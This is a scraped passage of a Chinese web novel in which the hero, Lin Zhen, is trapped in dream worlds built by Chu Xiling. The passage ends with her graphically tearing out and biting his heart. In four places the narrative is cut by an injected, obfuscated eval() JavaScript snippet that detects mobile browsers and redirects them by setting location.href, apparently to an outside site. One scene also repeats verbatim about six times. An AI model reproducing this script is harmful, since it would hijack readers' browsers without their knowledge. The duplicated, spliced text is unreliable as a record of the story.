“哎呀,这是网络热歌嘛!什么都不懂,讨厌!”浣碧起身在茶几上拿来一个遥控机,按住上面的按钮说道,“月妩姐姐,该送餐啦。” 月妩的声音从遥控 机上传来:“收到老公有没有说想吃什么啊?” “没有呢你看着弄一点好不好呀~晚上妹妹伺候你~” “好~” 很快 见到林臻她笑靥如花地说道:“老公快过来吃饭吧做了你最爱吃的西红柿炒鸡蛋还有尖椒肉丝。” 美食家就这水平? 林臻有些狐疑地站起来走到月妩身边看着那藏在长裤里面挺翘屁股扬起手一巴掌拍了上去。 啪—— “啊!” 月妩顿时有些难为情咬着下唇娇嗔道:“老公!你干嘛呀疼死啦!” “真的疼么?” “当然了!” “疼就应该不是做梦.” 月妩揉了揉屁股把用盖子盖着的餐盘一一放在餐桌上嘴里嘟囔道:“是不是做梦难道不应该打你自己吗?” “那我多疼啊。” 摆好饭食以后浣碧和月妩率先坐下根本没有往日里的谦让更没有古代的规矩。 以前让她们上桌吃饭都像是在求她们似的尤其是浣碧即便已经做了林臻很久小妾了也不愿意和林臻一起坐下吃饭更别说提前上桌。 有问题。 林臻坐下加了块西红柿放进嘴里。 没错就是这个味道。 林臻已经很久都没有尝过番茄的味道了。 这玩意原产地在南美洲以大乾的生产力是不可能造出远洋巨轮去那边摘菜的。 就像他一个中央选调生不可能闲着没事从东北做飞机去兰州吃牛肉面吃完就回来一样。 他没那个心思也没那个钱。 不过这个口感真是久违了。 林臻用番茄汁泡饭一口气炫了三碗结果撑的靠在椅子上直翻白眼。 月妩拿起水杯想给他顺顺林臻却不喝指了指手机说道:“把嫣儿她们都叫过来我要开会。” 浣碧埋头吃的正香闻言抬起头来问道:“啊?开什么会啊?” “全体人员大会!立刻安排马上!命令她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133152|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上之前必须全都来这里。” “好吧~” 浣碧拿起手机挨个打电话。 慕容嫣说自己在迈阿密开会婉儿说在纽约逛街晴雯在遥远的卡塔尔蹦迪 一直到晚上林臻都站在落地窗前面看着这个世界。 它是那样的梦幻那样的不真实 ,却又实实在在的伫立在眼前。 楚惜灵给自己下了蛊,估计慕容嫣他们都担心坏了。 大乾不能没有自己。 妻妾们也不能没有自己。 不行,必须得想办法赶紧回去。 “咔嚓。” 房间的门再次被打开,浣碧和月妩坐在沙发上,见到来人立刻起身,笑道:“嫣儿姐姐!” 慕容嫣一身紫金色西装,梳着干练的短发,对两人笑着点点头,随即直奔林臻而来。 没错,这就是自己的嫣儿。 只是服装和发型不一样而已。 “嫣儿。” 慕容嫣走到林臻面前,一只手搂住他的腰,另只手抚摸上她的脸,关切地道:“老公,你怎么了?听浣碧说你精神有点问题?” “别听他胡说,其他人呢?” “在楼下搬东西呢,很快就上来了。” 紧接着,穿着超短裙,小吊带的晴雯走了进来,把手里的东西一扔,火速跑向林臻。 “老公!!!” 晴雯一下骑在林臻身上,精致的小鼻子使劲地闻,像个小狗似的。 她身后,司马椿蕾、顾镇、刘妙颜、青霞、刘妙颜、张俪都纷纷走了进来。 “老公!” “你怎么了?” “听说你生病了,吃药了没?” “怎么不说话呢?” 林臻看向众女。 大家都多多少少有些变化,但是长相却没有,都是自己认识的样子。 林臻数了数,发现他最好奇的两个人没有来。 一个是楚惜灵。 一个是上官婉儿。 林臻问慕容嫣:“婉儿呢?” “婉儿妹妹家里有事情,说要晚一点才到。” “那楚惜灵呢?” “嗐,你的惜灵妹妹你还不知道嘛?一天到晚神龙见首不见尾的,等会儿不一定就从哪冒出来了。” 不一定从哪冒出来? 什么意思? 鬼? 现在只要提起这个字,林臻就浑身起鸡皮疙瘩。 “等等吧,她们不来,这会没办法开。” 林臻接过浣碧递来的咖啡,转过身对着繁华都市夜景喝了一口,谁知就在此时,一个穿着牛仔衣牛仔裤的女人从外面直挺挺地升了上来! 噗—— 林臻吓得一口咖啡都喷在了落地窗上。 “楚惜灵!” “嘻嘻,我就知道老公不会忘记我的呢!我来啦!” 楚惜灵露出那颗俏皮的虎牙,身体径直穿过落地窗,站在林臻面前。 林臻懵了。 这他妈到底是怎么回事啊? 难道说楚惜灵真的是鬼? 他刚要说话,就听到身后传来声音,是晴雯。 “婉儿姐姐,你回来啦!妹妹想死你了呢!” 晴雯扑过去,上官婉儿没说话,轻轻拍打着她的后背。 林臻也转过去,就见一个穿着古装的女子正站在门口。 然而下一秒,他就呆住了。 而且是目瞪口呆,因为这个女人。 她没有脸!!!! 第342章 盗梦空间 林臻顿时被上官婉儿这张“脸”吓得头皮发麻,魂飞魄散。 那张本该倾国倾城的脸蛋儿,竟然是一片空白! 没有眼睛、鼻子、嘴巴,就好像是一个被精心雕琢却忘了画脸的绝美艺术品,在这满室的华光璀璨中,显得如此惊悚诡异。 林臻的呼吸急促起来,胸膛剧烈地起伏着,双手不自觉地在身后紧紧抓住窗台,指节因为用力而泛白。 “这这什么情况?”林臻的喉咙干涩得厉害,艰难地吞咽几下口水,才从牙缝里挤出这几个字。声音颤抖得如同风中残叶,在寂静的房间里轻飘飘地回荡。 妻妾们似乎对上官婉儿的异状毫无察觉,依旧手挽着手,笑语晏晏地朝着林臻走来。 走在最前面的浣碧,手中还捧着一个精致的托盘,上面放着一杯热气腾腾的咖啡,袅袅香气在空气中肆意飘散。 “婉儿姐姐,喝杯咖啡吧~”浣碧笑靥如花,眼神清澈无邪。 上官婉儿没有嘴巴,所以也就说不了话,只是点头接过去,随即向林臻走来。 林臻瞪大了眼睛,死死地盯着浣碧,又看向她身后的上官婉儿,脚步下意识地往后挪了挪,可后背已经紧紧抵住了落地窗,无路可退。 他的嘴唇颤抖着,想要开口提醒众人,却发现自己像是被抽走了声音,喉咙里只能发出几声干涩的“咯咯”声。 上官婉儿像鬼似的,就这么一步步走近,每一步都似踏在林臻的心尖上,这让他的心跳更加疯狂。 她那一头长发随着步伐轻轻摆动,偶尔有几缕拂过她空白的脸,愈发衬得她阴森可怖。 当她终于站定在林臻身前,近到林臻都能感受到从她身上散发的丝丝寒意,仿佛来自九幽地府的阴气,侵蚀着他的肌肤。 林臻鼓足了勇气,站在原地与她“对视”。 本以为对方会率先发难,甚至林臻已经做好把咖啡泼在她脸上的准备了。 谁知上官婉儿竟然伸出双手,搂住自己的腰肢,慢慢地把脸凑过来。 看那架势,竟然是要亲吻自己! 这他妈怎么下得去嘴呀? 浣碧还在一边捂着眼睛起哄:“哎呀哎呀,见不得人啦!” 林臻想推开她,但是上官婉儿的身体就像好几吨重的大石头,根本推不动。 情急之下,林臻看向满脸诡异冷笑的楚惜灵,尖锐的喊道:“是不是你搞的鬼!” 楚惜灵打了个响指,白衣瞬间变成一袭鲜艳欲滴的红色长裙,仿若燃烧的晚霞,在这黯淡的 夜色中显得格外扎眼。 墨发高束几缕发丝垂落在脸颊边为她那张娇艳却透着几分邪气的面容更添妩媚。 她嘴角噙着一抹似笑非笑的弧度眼神玩味地看着林臻仿佛在欣赏一场精彩的好戏。 “呵呵呵呵没想到你居然没见过上官婉儿算我失策。” “你到底要干什么!?下蛊折磨我还不够居然还给我植入梦境?你到底是人还是鬼?” 楚惜灵的手在空中虚晃竟然变出一杯咖啡美滋滋的喝上一口坐在沙发上。 “林臻你也有无助的时候嘛。” “废话这是你构建的梦境我当然没办法反抗有种我们醒过来一较高下啊。” “醒过来?呵你觉得你还能醒得过来吗?” “你什么意思?”看着楚惜灵的冷笑林臻心底愈发的感觉恐怖。 难道说自己醒不过来了? 哪有这样的道理。 楚惜灵指了指林臻面前的上官婉儿。 林臻看去顿时汗毛耸立。 只见本来要亲吻自己的上官婉儿不知道什么时候竟然呆立不动了。 不止是她连整个世界都仿佛瞬间被按下了暂停键。 窗外的车水马龙定格霓虹灯光不再闪烁屋内妻妾们的动作也停滞不前唯有林臻自己和楚惜灵还能活动。 林臻大口喘着粗气胸膛剧烈起伏死死地盯着楚惜灵咬牙切齿道:“楚惜灵你到底要干什么。” “不干什么我就是想和你长相厮守。” “放屁那为何不在现实世界厮守?非要在这种鬼地方。” “因为现实世界不属于我们啊。”楚惜灵站起来端着咖啡小拇指指向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139623|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落地窗外扬了扬下巴“你看。这里多美啊。我是真没有想到你曾经的世界竟然如此神奇如此繁华。这场战役我楚国输得不冤。” 楚惜灵像是陷入了自己的世界中喃喃道:“我喜欢这里我喜欢当神的感觉。林臻你不喜欢吗?” “就算再喜欢那也是假的!” “不!只要你相信这就是真的!我们可以在这里呆十年百年千年!只要你愿意我们永远都不会老永远都不会死。” 林臻看着楚惜灵那狰狞的表情 楚惜灵露出一丝绝美的弧度:“十二年。” “什么?你已经在这.不可能我明明刚醒来一天啊!” “那是我 让你醒的。我已经看过了这个世界所有的风景,包括这里的科技,这里的历史,这里的所有东西,我都已经烂熟于心。但是,我却不喜欢这里的人。你是唯一能走进我心灵的人。林臻,和我生活下去吧,不要回去了。” “不,这绝不可能,你告诉我这是第几层梦。” “你说的不会是《盗梦空间》吧?那电影我看过,说实话,拍得不错。不过,这个世界也不完全是梦,所以时间的流速不是以《盗梦空间》里那样计算的。” “既然你知道《盗梦空间》那我从这里跳下去会怎么样?”林臻看了看落地窗,又看了看上面的大窗户。 楚惜灵再次露出那诡异又令人毛骨悚然的笑容:“要不你试试?唉,这可惜,本来我还想在你的世界里多玩几天呢。”楚惜灵朱唇轻启,笑声清脆,却让林臻如坠冰窖。 “试试就试试,你以为我会怕你么?就算坠入迷失域,也好过被你玩弄!” 说着林臻跳起来,踩着上官婉儿的脑袋打开窗户。 呼—— 剧烈的风袭来。 落地窗外,高楼之下是深不见底的黑暗,仿佛一张择人而噬的巨口。 林臻深吸一口气,眼神中透着决绝,毫不犹豫地纵身一跃。 风声在耳边呼啸,身体急速下坠,失重感让他的胃部一阵翻腾,可他紧闭双眼,心中只有一个念头:我一定要回去! 第343章 我们永远在一起 林臻紧闭双眼,任由身体急速下坠,风声在耳畔呼啸,如鬼哭狼嚎般撕扯着他的神经。 心脏仿佛要冲破胸膛,失重感带来的眩晕让他几近窒息,可心中那股绝不向诡异命运低头的执念,却如熊熊烈火,驱散着恐惧的阴霾。 就在他以为自己即将坠入无尽深渊,粉身碎骨之际。 突然,他身体重重地一震,仿若掉进了一团柔软的云朵,意识瞬间被黑暗吞噬。 许久之后,林臻悠悠转醒,只觉脑袋昏沉,耳畔传来一阵轻柔的呢喃,似有若无地萦绕在耳边。 他费力地睁开双眼,映入眼帘的是一间古色古香的卧房,雕花床榻,轻纱帷幔,空气中弥漫着淡淡的檀香气息。 这是我家? 我真的回来了? 还未等他理清思绪,就见床边坐着两名女子。 浣碧,晴雯。 尤其是浣碧,她哭的双眼红肿,脸色惨白。 “雯儿,碧儿。” “夫君!!” “您可算醒了,真是吓死妾身了。”说话的是浣碧,她眼眶泛红,眼角还挂着晶莹的泪珠,手中紧紧攥着一方手帕,贴在自己的隆起的小腹上。 她紧紧握住林臻的手,那手帕上绣着的翠竹仿若带着一丝熟悉的韵味,让林臻心头一颤。 “是啊夫君,您昏迷了整整三日,府里上下都急坏了。”浣碧也赶忙附和,手里端着一碗热气腾腾的药汤:“快些把药喝了,这可是妾身亲自煎的,能祛寒退热,对身子大有益处。” 林臻下意识地想要抽回手,却发现浑身乏力,只能任由晴雯握着。 浣碧把滚烫的汤药喂进嘴里,林臻却在心不在焉地环顾四周。 突然,他想起什么,问道:“这到底是怎么回事?我为什么会昏迷不醒?” 林臻艰难地开口,声音沙哑干涩,仿若许久未曾开口说话一般。 晴雯擦了擦眼角的泪水,轻轻抚开林臻额前凌乱的发丝,柔声道:“还不是楚惜灵那个下贱婊子,得了您的身体不说,还趁机下蛊。您被蛊毒折磨,昏了过去,陛下特意派人把您送回来的。” 浣碧也说道:“孙神医看了,说您需要自己挺过去,全家都慌了,陛下更是一夜一夜地睡不着觉。” “下蛊.” 林臻想起来了。 奶奶的,都是楚惜灵那个女人作妖。 又是下蛊,又是植梦的。 看老子这回怎么弄死你。 林臻挣扎着要坐起来,浣碧却 立刻将他拦住。 “夫君莫要劳神,还是先把身子养好才是。” 言罢她轻轻扶着林臻靠在床头,接过晴雯手中的药碗,舀起一勺药汤,放在嘴边轻轻吹了吹,递到林臻嘴边,“来,夫君,先喝药吧。” 林臻下意识地偏过头,药汤的苦涩气息扑面而来,让他忍不住皱了皱眉头。 “其他人呢?” “张俪姐姐在赌场,月妩姐姐也在忙活酒楼的事情,陛下和贵妃、宁妃也在宫里。” 应该还有人啊 林臻又问道:“颜颜呢?青霞呢?” “刘妙颜姐姐去接王爷了,青霞姐姐说要把楚惜灵抓回来给您处置。” 听起来好像没什么毛病. 看来我是真醒了。 林臻起身,揉了揉太阳穴,试图驱散残留的恐惧。 镇静了一会儿,林臻觉得自己还是不能一直在床上躺着,得出去看看。 他需要确定这到底是不是梦。 楚惜灵带给他的震撼实在是太大了,他不得不谨慎行事。 也不顾浣碧的劝阻,林臻下地穿上鞋子,来到院子里。 嗯,都是自己熟悉的一切,没错。 自顾自的从井里打了盆冰凉的水,顺着头顶泼下来。 哗—— “哇靠!好冷!” 水落在地上,很快便流进旁边的石子路的缝隙中,打湿一片。 林臻冻的浑身直哆嗦,不停的打摆子。 浣碧赶紧拿来大氅披在他身上,止不住地哭泣:“夫君,您才醒过来,这么作践自己做什么呀!” 晴雯也冲出来说道:“是啊夫君,您若有个三长两短,妾身们怎么办呀。” 林臻把两女搂进怀里,安慰地拍了拍她们的后背,说道:“我没事的,别怕。” 林臻目光不经意地看到墙根底下冒出来的牵牛花,不解地问道:“碧儿,这院子里什么时候种的牵牛花啊?” “牵牛花?夫君不是最喜欢牵牛花了吗?” “那牵牛花能在冬天开吗?” “冬天?”浣碧挣脱怀抱,笑道:“哈哈哈,夫君是不是傻了呀!现在是夏天,冬天还早呢?” “什么?” ! 冬天还早呢? 不可能啊,我明明记得中蛊的时候是夏天啊! 开什么国际玩笑! 别闹! 我是不是还没醒啊!? 正在林臻沉思之际,屋外突然传来一阵嘈杂的声响。 紧接着,侯春匆匆跑了进来,跪地禀报道:“世子,府外来了一位自称是公主的女子,要求面见世子,说是有要事相商。” 林臻心中一凛,一种不好的预感涌上心头。 他看向怀里的浣碧和晴雯,只见她们的脸色也瞬间变得煞白,眼神中透着几分慌乱。 “公主?哪个公主?”林臻强压心头的不安,问道。 “是楚国的清秋公主,楚惜灵。” 轰—— 听到这个名字,林臻只觉头皮发麻,双手不自觉地握紧 果然。 自己还是没能醒过来,而是依旧处在梦中。 楚惜灵,老子要跟你好好算算这笔账! “让她进来。”林臻深吸一口气,努力让自己的声音听起来镇定些。 片刻之后,一阵清脆的脚步声传来,楚惜灵身着一袭华丽的红色宫装,头戴凤冠,珠翠摇曳,莲步轻移地走进了院子。 她的脸上挂着一抹似笑非笑的弧度,眼神玩味地在林臻以及两女身上扫过,仿若在欣赏一场有趣的闹剧。 “哟,世子爷,几日不见您这是怎么了?”楚惜灵朱唇轻启,声音清脆悦耳,却带着几分嘲讽。 话音刚落,奇异的事情发生了。 只见周遭所有事物都被再次静止,只有林臻和她可以动。 林臻阴沉着脸问道:“我为什么没醒。” “我有说过让你醒吗?” “不是.要不你就杀了我,要不你就放我回去,你这没完没了的算怎么回事啊。” “我不想让你回去,也不想杀死你。我就想和你在这里永远待下去。” 紧接着,侯春匆匆跑了进来,跪地禀报道:“世子,府外来了一位自称是公主的女子,要求面见世子,说是有要事相商。” 林臻心中一凛,一种不好的预感涌上心头。 他看向怀里的浣碧和晴雯,只见她们的脸色也瞬间变得煞白,眼神中透着几分慌乱。 “公主?哪个公主?”林臻强压心头的不安,问道。 “是楚国的清秋公主,楚惜灵。” 轰—— 听到这个名字,林臻只觉头皮发麻,双手不自觉地握紧 果然。 自己还是没能醒过来,而是依旧处在梦中。 楚惜灵,老子要跟你好好算算这笔账! “让她进来。”林臻深吸一口气,努力让自己的声音听起来镇定些。 片刻之后,一阵清脆的脚步声传来,楚惜灵身着一袭华丽的红色宫装,头戴凤冠,珠翠摇曳,莲步轻移地走进了院子。 她的脸上挂着一抹似笑非笑的弧度,眼神玩味地在林臻以及两女身上扫过,仿若在欣赏一场有趣的闹剧。 “哟,世子爷,几日不见您这是怎么了?”楚惜灵朱唇轻启,声音清脆悦耳,却带着几分嘲讽。 话音刚落,奇异的事情发生了。 只见周遭所有事物都被再次静止,只有林臻和她可以动。 林臻阴沉着脸问道:“我为什么没醒。” “我有说过让你醒吗?” “不是.要不你就杀了我,要不你就放我回去,你这没完没了的算怎么回事啊。” “我不想让你回去,也不想杀死你。我就想和你在这里永远待下去。” 紧接着,侯春匆匆跑了进来,跪地禀报道:“世子,府外来了一位自称是公主的女子,要求面见世子,说是有要事相商。” 林臻心中一凛,一种不好的预感涌上心头。 他看向怀里的浣碧和晴雯,只见她们的脸色也瞬间变得煞白,眼神中透着几分慌乱。 “公主?哪个公主?”林臻强压心头的不安,问道。 “是楚国的清秋公主,楚惜灵。” 轰—— 听到这个名字,林臻只觉头皮发麻,双手不自觉地握紧 果然。 自己还是没能醒过来,而是依旧处在梦中。 楚惜灵,老子要跟你好好算算这笔账! “让她进来。”林臻深吸一口气,努力让自己的声音听起来镇定些。 片刻之后,一阵清脆的脚步声传来,楚惜灵身着一袭华丽的红色宫装,头戴凤冠,珠翠摇曳,莲步轻移地走进了院子。 她的脸上挂着一抹似笑非笑的弧度,眼神玩味地在林臻以及两女身上扫过,仿若在欣赏一场有趣的闹剧。 “哟,世子爷,几日不见您这是怎么了?”楚惜灵朱唇轻启,声音清脆悦耳,却带着几分嘲讽。 话音刚落,奇异的事情发生了。 只见周遭所有事物都被再次静止,只有林臻和她可以动。 林臻阴沉着脸问道:“我为什么没醒。” “我有说过让你醒吗?” “不是.要不你就杀了我,要不你就放我回去,你这没完没了的算怎么回事啊。” “我不想让你回去,也不想杀死你。我就想和你在这里永远待下去。” 紧接着,侯春匆匆跑了进来,跪地禀报道:“世子,府外来了一位自称是公主的女子,要求面见世子,说是有要事相商。” 林臻心中一凛,一种不好的预感涌上心头。 他看向怀里的浣碧和晴雯,只见她们的脸色也瞬间变得煞白,眼神中透着几分慌乱。 “公主?哪个公主?”林臻强压心头的不安,问道。 “是楚国的清秋公主,楚惜灵。” 轰—— 听到这个名字,林臻只觉头皮发麻,双手不自觉地握紧 果然。 自己还是没能醒过来,而是依旧处在梦中。 楚惜灵,老子要跟你好好算算这笔账! “让她进来。”林臻深吸一口气,努力让自己的声音听起来镇定些。 片刻之后,一阵清脆的脚步声传来,楚惜灵身着一袭华丽的红色宫装,头戴凤冠,珠翠摇曳,莲步轻移地走进了院子。 她的脸上挂着一抹似笑非笑的弧度,眼神玩味地在林臻以及两女身上扫过,仿若在欣赏一场有趣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139624|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹剧。 “哟,世子爷,几日不见您这是怎么了?”楚惜灵朱唇轻启,声音清脆悦耳,却带着几分嘲讽。 话音刚落,奇异的事情发生了。 只见周遭所有事物都被再次静止,只有林臻和她可以动。 林臻阴沉着脸问道:“我为什么没醒。” “我有说过让你醒吗?” “不是.要不你就杀了我,要不你就放我回去,你这没完没了的算怎么回事啊。” “我不想让你回去,也不想杀死你。我就想和你在这里永远待下去。” 紧接着,侯春匆匆跑了进来,跪地禀报道:“世子,府外来了一位自称是公主的女子,要求面见世子,说是有要事相商。” 林臻心中一凛,一种不好的预感涌上心头。 他看向怀里的浣碧和晴雯,只见她们的脸色也瞬间变得煞白,眼神中透着几分慌乱。 “公主?哪个公主?”林臻强压心头的不安,问道。 “是楚国的清秋公主,楚惜灵。” 轰—— 听到这个名字,林臻只觉头皮发麻,双手不自觉地握紧 果然。 自己还是没能醒过来,而是依旧处在梦中。 楚惜灵,老子要跟你好好算算这笔账! “让她进来。”林臻深吸一口气,努力让自己的声音听起来镇定些。 片刻之后,一阵清脆的脚步声传来,楚惜灵身着一袭华丽的红色宫装,头戴凤冠,珠翠摇曳,莲步轻移地走进了院子。 她的脸上挂着一抹似笑非笑的弧度,眼神玩味地在林臻以及两女身上扫过,仿若在欣赏一场有趣的闹剧。 “哟,世子爷,几日不见您这是怎么了?”楚惜灵朱唇轻启,声音清脆悦耳,却带着几分嘲讽。 话音刚落,奇异的事情发生了。 只见周遭所有事物都被再次静止,只有林臻和她可以动。 林臻阴沉着脸问道:“我为什么没醒。” “我有说过让你醒吗?” “不是.要不你就杀了我,要不你就放我回去,你这没完没了的算怎么回事啊。” “我不想让你回去,也不想杀死你。我就想和你在这里永远待下去。” 紧接着,侯春匆匆跑了进来,跪地禀报道:“世子,府外来了一位自称是公主的女子,要求面见世子,说是有要事相商。” 林臻心中一凛,一种不好的预感涌上心头。 他看向怀里的浣碧和晴雯,只见她们的脸色也瞬间变得煞白,眼神中透着几分慌乱。 “公主?哪个公主?”林臻强压心头的不安,问道。 “是楚国的清秋公主,楚惜灵。” 轰—— 听到这个名字,林臻只觉头皮发麻,双手不自觉地握紧 果然。 自己还是没能醒过来,而是依旧处在梦中。 楚惜灵,老子要跟你好好算算这笔账! “让她进来。”林臻深吸一口气,努力让自己的声音听起来镇定些。 片刻之后,一阵清脆的脚步声传来,楚惜灵身着一袭华丽的红色宫装,头戴凤冠,珠翠摇曳,莲步轻移地走进了院子。 她的脸上挂着一抹似笑非笑的弧度,眼神玩味地在林臻以及两女身上扫过,仿若在欣赏一场有趣的闹剧。 “哟,世子爷,几日不见您这是怎么了?”楚惜灵朱唇轻启,声音清脆悦耳,却带着几分嘲讽。 话音刚落,奇异的事情发生了。 只见周遭所有事物都被再次静止,只有林臻和她可以动。 林臻阴沉着脸问道:“我为什么没醒。” “我有说过让你醒吗?” “不是.要不你就杀了我,要不你就放我回去,你这没完没了的算怎么回事啊。” “我不想让你回去,也不想杀死你。我就想和你在这里永远待下去。” 紧接着,侯春匆匆跑了进来,跪地禀报道:“世子,府外来了一位自称是公主的女子,要求面见世子,说是有要事相商。” 林臻心中一凛,一种不好的预感涌上心头。 他看向怀里的浣碧和晴雯,只见她们的脸色也瞬间变得煞白,眼神中透着几分慌乱。 “公主?哪个公主?”林臻强压心头的不安,问道。 “是楚国的清秋公主,楚惜灵。” 轰—— 听到这个名字,林臻只觉头皮发麻,双手不自觉地握紧 果然。 自己还是没能醒过来,而是依旧处在梦中。 楚惜灵,老子要跟你好好算算这笔账! “让她进来。”林臻深吸一口气,努力让自己的声音听起来镇定些。 片刻之后,一阵清脆的脚步声传来,楚惜灵身着一袭华丽的红色宫装,头戴凤冠,珠翠摇曳,莲步轻移地走进了院子。 她的脸上挂着一抹似笑非笑的弧度,眼神玩味地在林臻以及两女身上扫过,仿若在欣赏一场有趣的闹剧。 “哟,世子爷,几日不见您这是怎么了?”楚惜灵朱唇轻启,声音清脆悦耳,却带着几分嘲讽。 话音刚落,奇异的事情发生了。 只见周遭所有事物都被再次静止,只有林臻和她可以动。 林臻阴沉着脸问道:“我为什么没醒。” “我有说过让你醒吗?” “不是.要不你就杀了我,要不你就放我回去,你这没完没了的算怎么回事啊。” “我不想让你回去,也不想杀死你。我就想和你在这里永远待下去。” 第344章 我要吃掉你的心 “这是不可能的。” 楚惜灵莲步轻移,缓缓绕着林臻踱步,眼中满是玩味,但又不像假话:“回去有什么好的?每天都有处理不完的事情,还是考虑养家糊口,打来打去。这里就是我们的天堂,只要你想,我们可以去任何我们想去的地方,只需要一秒。” 坏了。 这妮子连一秒都知道了。 看来她确实在自己脑海中学了很多很多东西。 “再说。”楚惜灵走到林臻面前,吐气如兰的说道,“你就不怕回去后,我与你为敌吗?” “与其与我为敌,不如与我一起结束这乱世不好吗?” 楚惜灵突然露出一抹冷笑:“呵,那为什么结束这乱世的是你乾国,而不是我楚国呢?” “你觉得你能控制得了楚国吗?你觉得楚霸天会把皇位给你?还是说你认为你的兄长们能心甘情愿地扶你做皇帝?” 灵魂三问,问得楚惜灵哑口无言。 林臻继续说道:“灵儿,你醒醒吧,这么胡闹下去不是办法!乾国虽然综合国力不如楚国,但起码我说了算。你在我的世界里学习到的各种先进知识和技术,都可以得到很好的发挥。你甚至可以成为这个世界上第一个女丞相!至于你的家人,我说过,我不会伤害他们的。” 风乍起,撩动楚惜灵的裙摆,那翻飞的裙袂似是她心底无法言说的哀愁在肆意宣泄。 她当然知道这一切都是假的。 但是她也知道,在这里活下去肯定要比回到现实世界更加幸福。 所以她不想走,也不愿意回到现实世界去面对那些不想面对的事情。 更何况,林臻会放过她吗? 楚惜灵朱唇轻启,一抹凄美的笑容绽于唇角:“若我们醒了,你第一件事肯定是要杀我。” 那声音带着几分哽咽,几分决绝,在这空旷的庭院中回荡。 林臻焦急道:“不会的!我从来没有想过要杀你,更没有要与你为敌。说实话,我不知道自己对你是什么感觉,但是在很久很久之前我就认识你了,我.” 往昔画面如潮水般涌来。 林臻记得在看这本小说的时候对楚惜灵的印象特别深,她是那样的骄傲,那样的坚强。 如果不是因为顾北辰的主角光环,楚惜灵怎么可能会看上他呢。 自己穿越过来后,城外雪地上。 鹅毛大雪纷纷扬扬,掩盖了世间的污浊,两人以天为被,以地为床,拉近了两颗心的距离,肆意交融在一起。 对 林臻来说,眼前这个准备要自己命的女人,已经悄然住进心里。 想到这,林臻大步向前,将楚惜灵轻轻拥入怀中,动作轻柔又带着不容置疑的坚定:“从城外雪地那天开始,你就已经是我林臻的女人了,我又怎会付你。” “可是.那天我的主动,就是想给你下蛊而已。” “你的意思是,你不喜欢我?” “我” 楚惜灵被问蒙了,不知道该怎么回答。 最后她的娇躯微微一颤,抬眸凝视着他,目光中泪光闪烁,带着一丝希冀:“好,林臻,我便信你这一回,可若你负我,我定叫你生不如死!” 狠话虽出口,楚惜灵的双手却不自觉地揪紧林臻的衣襟,似是害怕这片刻的温暖转瞬即逝。 林臻郑重点头,眼神中满是宠溺与真诚,正要开口再诉衷肠,却觉胸口一阵剧痛。 痛苦与挣扎在她脸上交织,刚刚还充满温柔的眼眸此刻满是泪水与不舍,却又透着一股决绝。 她的双手缓缓抬起,五指颤抖着,似是承受着千钧重压,却又不得不向前。 最终,那类似鬼魅的指甲毫无预兆地穿透林臻的胸膛。 嘎吱吱—— 那一刻,林臻清晰地听到了肌肤撕裂的声响。 他想躲,但是根本躲不开,只有一股钻心的剧痛充斥着大脑。 “啊!!” “灵儿,你要干什么!!” 楚惜灵泪流满面:“夫君,别怪我,只有这样你才能醒过来。” 殷红的血瞬间喷涌而出,溅落在楚惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146529|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵素白的裙面上,宛如点点红梅肆意绽放,却透着令人心碎的凄美。 楚惜灵的手在林臻胸腔内轻轻搅动,手指触碰着肋骨,血肉模糊,每一下都似用尽了全身的力气,又仿若带着无尽的悲戚。 林臻瞪大双眼,惊恐、剧痛、难以置信瞬间充斥眼眸,身体剧烈颤抖却动弹不得,仿若被死死钉在这噩梦的刑架之上。 紧接着,楚惜灵握住了他还在强有力的心脏,那温热的触感此刻却如烙铁般滚烫,烫得她指尖都在颤栗。 她将心脏掏出来,拔掉一切血管,缓缓送至唇边,泪水夺眶而出,顺着脸颊滑落,滴落在那还带着林臻体温的心脏上。 她的嘴角颤抖着,露出一个比哭还难看的笑容,那是绝望与不舍的混合,然后,她闭上眼睛,一口咬下。 嘎吱吱—— “嘎吱”一声,那是牙齿切入血肉的声音,在这寂静的庭院中格外清晰,仿若来自地狱的丧钟。 